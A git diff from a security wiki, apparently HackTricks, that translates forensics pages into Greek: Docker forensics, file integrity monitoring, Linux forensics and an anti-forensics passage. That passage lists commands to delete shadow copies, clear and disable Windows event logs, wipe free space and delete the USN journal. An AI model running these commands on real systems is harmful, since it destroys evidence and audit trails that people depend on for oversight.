Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +Όλες οι **Εγγραφές Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR** που περιέχει υποκλειδιά που δημιουργούνται όποτε συνδέετε μια συσκευή USB στον υπολογιστή ή το φορητό σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό** θα διαγράψετε το ιστορικό USB.\ +Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) για να βεβαιωθείτε ότι έχετε διαγράψει αυτά (και για να τα διαγράψετε). -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό θα πρέπει επίσης να διαγραφεί. -## Disable Shadow Copies +## Απενεργοποίηση Αντιγράφων Σκιάς -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**Λίστα** αντιγράφων σκιάς με `vssadmin list shadowstorage`\ +**Διαγράψτε** τα εκτελώντας `vssadmin delete shadow` -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Μπορείτε επίσης να τα διαγράψετε μέσω GUI ακολουθώντας τα βήματα που προτείνονται στο [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Ανοίξτε το πρόγραμμα Υπηρεσίες πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά την κλικ στο κουμπί εκκίνησης των Windows. +2. Από τη λίστα, βρείτε "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ. +3. Επιλέξτε Απενεργοποιημένο από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και OK. -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +Είναι επίσης δυνατόν να τροποποιήσετε τη ρύθμιση των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` -## Overwrite deleted files +## Επικαλύψτε διαγραμμένα αρχεία -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο Windows**: `cipher /w:C` Αυτό θα υποδείξει στον cipher να αφαιρέσει οποιαδήποτε δεδομένα από τον διαθέσιμο μη χρησιμοποιούμενο χώρο δίσκου μέσα στον δίσκο C. +- Μπορείτε επίσης να χρησιμοποιήσετε εργαλεία όπως το [**Eraser**](https://eraser.heidi.ie) -## Delete Windows event logs +## Διαγραφή καταγραφών γεγονότων των Windows -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> Επεκτείνετε "Windows Logs" --> Κάντε δεξί κλικ σε κάθε κατηγορία και επιλέξτε "Clear Log" - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Disable Windows event logs +## Απενεργοποίηση καταγραφών γεγονότων των Windows - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- Μέσα στην ενότητα υπηρεσιών απενεργοποιήστε την υπηρεσία "Windows Event Log" +- `WEvtUtil.exec clear-log` ή `WEvtUtil.exe cl` -## Disable $UsnJrnl +## Απενεργοποίηση $UsnJrnl - `fsutil usn deletejournal /d c:` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md index 629251985..316ddbc88 100644 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ b/src/forensics/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} ## Container modification -There are suspicions that some docker container was compromised: - +Υπάρχουν υποψίες ότι κάποιο docker container έχει παραβιαστεί: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έχουν γίνει σε αυτό το κοντέινερ σε σχέση με την εικόνα** με: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +Στην προηγούμενη εντολή, το **C** σημαίνει **Αλλαγμένο** και το **A** σημαίνει **Προστεθέν**.\ +Αν διαπιστώσετε ότι κάποιο ενδιαφέρον αρχείο όπως το `/etc/shadow` έχει τροποποιηθεί, μπορείτε να το κατεβάσετε από το κοντέινερ για να ελέγξετε για κακόβουλη δραστηριότητα με: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +Μπορείτε επίσης να **το συγκρίνετε με το πρωτότυπο** εκτελώντας ένα νέο κοντέινερ και εξάγοντας το αρχείο από αυτό: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Αν διαπιστώσετε ότι **κάποιο ύποπτο αρχείο προστέθηκε** μπορείτε να αποκτήσετε πρόσβαση στο κοντέινερ και να το ελέγξετε: ```bash docker exec -it wordpress bash ``` +## Τροποποιήσεις εικόνων -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Όταν σας δοθεί μια εξαγόμενη εικόνα docker (πιθανώς σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για να **εξαγάγετε μια περίληψη των τροποποιήσεων**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Στη συνέχεια, μπορείτε να **αποσυμπιέσετε** την εικόνα και να **πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που μπορεί να έχετε βρει στην ιστορία αλλαγών: ```bash tar -xf image.tar ``` +### Βασική Ανάλυση -### Basic Analysis - -You can get **basic information** from the image running: - +Μπορείτε να αποκτήσετε **βασικές πληροφορίες** από την εικόνα εκτελώντας: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +Μπορείτε επίσης να αποκτήσετε μια περίληψη **ιστορικό αλλαγών** με: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από μια εικόνα** με: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Για να βρείτε προστιθέμενα/τροποποιημένα αρχεία σε εικόνες docker, μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) εργαλείο: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,19 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Αυτό σας επιτρέπει να **πλοηγηθείτε μέσα από τα διάφορα blobs των εικόνων docker** και να ελέγξετε ποια αρχεία έχουν τροποποιηθεί/προστεθεί. **Κόκκινο** σημαίνει προσθήκη και **κίτρινο** σημαίνει τροποποίηση. Χρησιμοποιήστε **tab** για να μετακινηθείτε στην άλλη προβολή και **space** για να συμπτύξετε/ανοίξετε φακέλους. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Με το die δεν θα μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο των διαφόρων σταδίων της εικόνας. Για να το κάνετε αυτό, θα χρειαστεί να **αποσυμπιέσετε κάθε στρώμα και να αποκτήσετε πρόσβαση σε αυτό**.\ +Μπορείτε να αποσυμπιέσετε όλα τα στρώματα από μια εικόνα από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Διαπιστευτήρια από τη μνήμη -## Credentials from memory +Σημειώστε ότι όταν εκτελείτε ένα docker container μέσα σε έναν host **μπορείτε να δείτε τις διεργασίες που εκτελούνται στο container από τον host** απλά εκτελώντας `ps -ef` -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` +Επομένως (ως root) μπορείτε να **dump την μνήμη των διεργασιών** από τον host και να αναζητήσετε **διαπιστευτήρια** ακριβώς [**όπως στο παρακάτω παράδειγμα**](../../linux-hardening/privilege-escalation/#process-memory). -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..f9bbb8024 100644 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# Βασική Γραμμή -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Μια βασική γραμμή αποτελείται από τη λήψη μιας στιγμιότυπης εικόνας ορισμένων τμημάτων ενός συστήματος για **να τη συγκρίνουμε με μια μελλοντική κατάσταση ώστε να επισημάνουμε τις αλλαγές**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Για παράδειγμα, μπορείτε να υπολογίσετε και να αποθηκεύσετε το hash κάθε αρχείου του συστήματος αρχείων για να μπορέσετε να διαπιστώσετε ποια αρχεία έχουν τροποποιηθεί.\ +Αυτό μπορεί επίσης να γίνει με τους λογαριασμούς χρηστών που έχουν δημιουργηθεί, τις διαδικασίες που εκτελούνται, τις υπηρεσίες που εκτελούνται και οτιδήποτε άλλο δεν θα έπρεπε να αλλάξει πολύ ή καθόλου. -## File Integrity Monitoring +## Παρακολούθηση Ακεραιότητας Αρχείων -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +Η Παρακολούθηση Ακεραιότητας Αρχείων (FIM) είναι μια κρίσιμη τεχνική ασφάλειας που προστατεύει τα IT περιβάλλοντα και τα δεδομένα παρακολουθώντας τις αλλαγές στα αρχεία. Περιλαμβάνει δύο βασικά βήματα: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Σύγκριση Βασικής Γραμμής:** Καθιερώστε μια βασική γραμμή χρησιμοποιώντας χαρακτηριστικά αρχείων ή κρυπτογραφικούς ελέγχους (όπως MD5 ή SHA-2) για μελλοντικές συγκρίσεις ώστε να ανιχνεύσετε τροποποιήσεις. +2. **Ειδοποίηση Αλλαγών σε Πραγματικό Χρόνο:** Λάβετε άμεσες ειδοποιήσεις όταν τα αρχεία προσπελάζονται ή τροποποιούνται, συνήθως μέσω επεκτάσεων πυρήνα OS. -## Tools +## Εργαλεία - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## Αναφορές - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md index 8d505942f..70eee5ec9 100644 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ b/src/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## Αρχική Συλλογή Πληροφοριών -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Βασικές Πληροφορίες +Πρώτα απ' όλα, συνιστάται να έχετε ένα **USB** με **καλά γνωστά δυαδικά αρχεία και βιβλιοθήκες σε αυτό** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά αρχεία: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Αφού έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλές και γνωστές δυαδικές εκδόσεις, μπορείτε να αρχίσετε **να εξάγετε κάποιες βασικές πληροφορίες**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` - #### Suspicious information -While obtaining the basic information you should check for weird things like: +Κατά την απόκτηση βασικών πληροφοριών, θα πρέπει να ελέγξετε για περίεργα πράγματα όπως: -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +- **Διεργασίες root** συνήθως εκτελούνται με χαμηλούς PIDS, οπότε αν βρείτε μια διεργασία root με μεγάλο PID, μπορεί να υποψιαστείτε +- Ελέγξτε για **καταγεγραμμένες συνδέσεις** χρηστών χωρίς shell μέσα στο `/etc/passwd` +- Ελέγξτε για **hash κωδικών πρόσβασης** μέσα στο `/etc/shadow` για χρήστες χωρίς shell ### Memory Dump -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Για να αποκτήσετε τη μνήμη του τρέχοντος συστήματος, συνιστάται να χρησιμοποιήσετε [**LiME**](https://github.com/504ensicsLabs/LiME).\ +Για να **συγκεντρώσετε** το, πρέπει να χρησιμοποιήσετε τον **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή του θύματος. > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> Θυμηθείτε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή του θύματος, καθώς θα κάνει πολλές αλλαγές σε αυτήν +Έτσι, αν έχετε μια ταυτόσημη έκδοση του Ubuntu, μπορείτε να χρησιμοποιήσετε `apt-get install lime-forensics-dkms`\ +Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το συγκεντρώσετε με σωστές κεφαλίδες πυρήνα. Για να **αποκτήσετε τις ακριβείς κεφαλίδες πυρήνα** της μηχανής του θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/` στη μηχανή σας και στη συνέχεια να **συγκεντρώσετε** το LiME χρησιμοποιώντας αυτές: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME υποστηρίζει 3 **μορφές**: -LiME supports 3 **formats**: +- Raw (κάθε τμήμα συνδυασμένο μαζί) +- Padded (ίδιο με το raw, αλλά με μηδενικά στα δεξιά bits) +- Lime (συνιστώμενη μορφή με μεταδεδομένα) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata - -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +LiME μπορεί επίσης να χρησιμοποιηθεί για **να στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444` ### Disk Imaging #### Shutting down -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. +Πρώτα απ' όλα, θα χρειαστεί να **κλείσετε το σύστημα**. Αυτό δεν είναι πάντα επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να αντέξει να κλείσει.\ +Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, μια **κανονική απενεργοποίηση** και μια **"τραβήξτε το βύσμα" απενεργοποίηση**. Η πρώτη θα επιτρέψει στους **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβήξτε το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και η **κακόβουλη λογισμική δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλη λογισμική**, απλώς εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα. #### Taking an image of the disk -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. - +Είναι σημαντικό να σημειωθεί ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **τοποθετηθεί ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Προ-ανάλυση εικόνας δίσκου -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +Εικόνα μιας εικόνας δίσκου χωρίς περισσότερα δεδομένα. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## Αναζήτηση για γνωστό Malware -
+### Τροποποιημένα Αρχεία Συστήματος -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Το Linux προσφέρει εργαλεία για την εξασφάλιση της ακεραιότητας των συστημικών στοιχείων, κρίσιμα για την ανίχνευση δυνητικά προβληματικών αρχείων. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +- **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε `rpm -Va` για μια ολοκληρωμένη έλεγχο. +- **Συστήματα βασισμένα σε Debian**: `dpkg --verify` για αρχική επαλήθευση, ακολουθούμενη από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για την αναγνώριση τυχόν προβλημάτων. -## Search for known Malware +### Ανιχνευτές Malware/Rootkit -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για την εύρεση malware: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## Αναζήτηση εγκατεστημένων προγραμμάτων -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα συστημικά αρχεία καταγραφής και τις βάσεις δεδομένων παράλληλα με χειροκίνητους ελέγχους σε κοινές καταλόγους. -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Για Debian, ελέγξτε _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για να αποκτήσετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες. +- Οι χρήστες RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με `rpm -qa --root=/mntpath/var/lib/rpm` για να καταγράψουν τα εγκατεστημένα πακέτα. +Για να αποκαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξερευνήστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, και _**`/sbin`**_. Συνδυάστε τις καταχωρήσεις καταλόγων με εντολές συγκεκριμένες για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, ενισχύοντας την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +Φανταστείτε μια διαδικασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να την εξάγουμε. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Εξέταση Τοποθεσιών Αυτοεκκίνησης -## Inspect Autostart locations - -### Scheduled Tasks - +### Προγραμματισμένα Καθήκοντα ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### Υπηρεσίες -### Services +Διαδρομές όπου ένα κακόβουλο λογισμικό θα μπορούσε να εγκατασταθεί ως υπηρεσία: -Paths where a malware could be installed as a service: +- **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, κατευθύνοντας περαιτέρω σε σενάρια εκκίνησης. +- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το δεύτερο βρίσκεται σε παλαιότερες εκδόσεις Linux. +- **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης. +- Οι υπηρεσίες μπορούν επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux. +- **/etc/systemd/system**: Ένας φάκελος για σενάρια διαχειριστή συστήματος και υπηρεσιών. +- **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους σε υπηρεσίες που θα πρέπει να ξεκινούν σε επίπεδο εκκίνησης πολλαπλών χρηστών. +- **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή τρίτων υπηρεσίες. +- **\~/.config/autostart/**: Για αυτόματες εφαρμογές εκκίνησης που σχετίζονται με τον χρήστη, οι οποίες μπορεί να είναι κρυψώνες για κακόβουλο λογισμικό που στοχεύει χρήστες. +- **/lib/systemd/system/**: Προεπιλεγμένα αρχεία μονάδας σε επίπεδο συστήματος που παρέχονται από εγκατεστημένα πακέτα. -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts 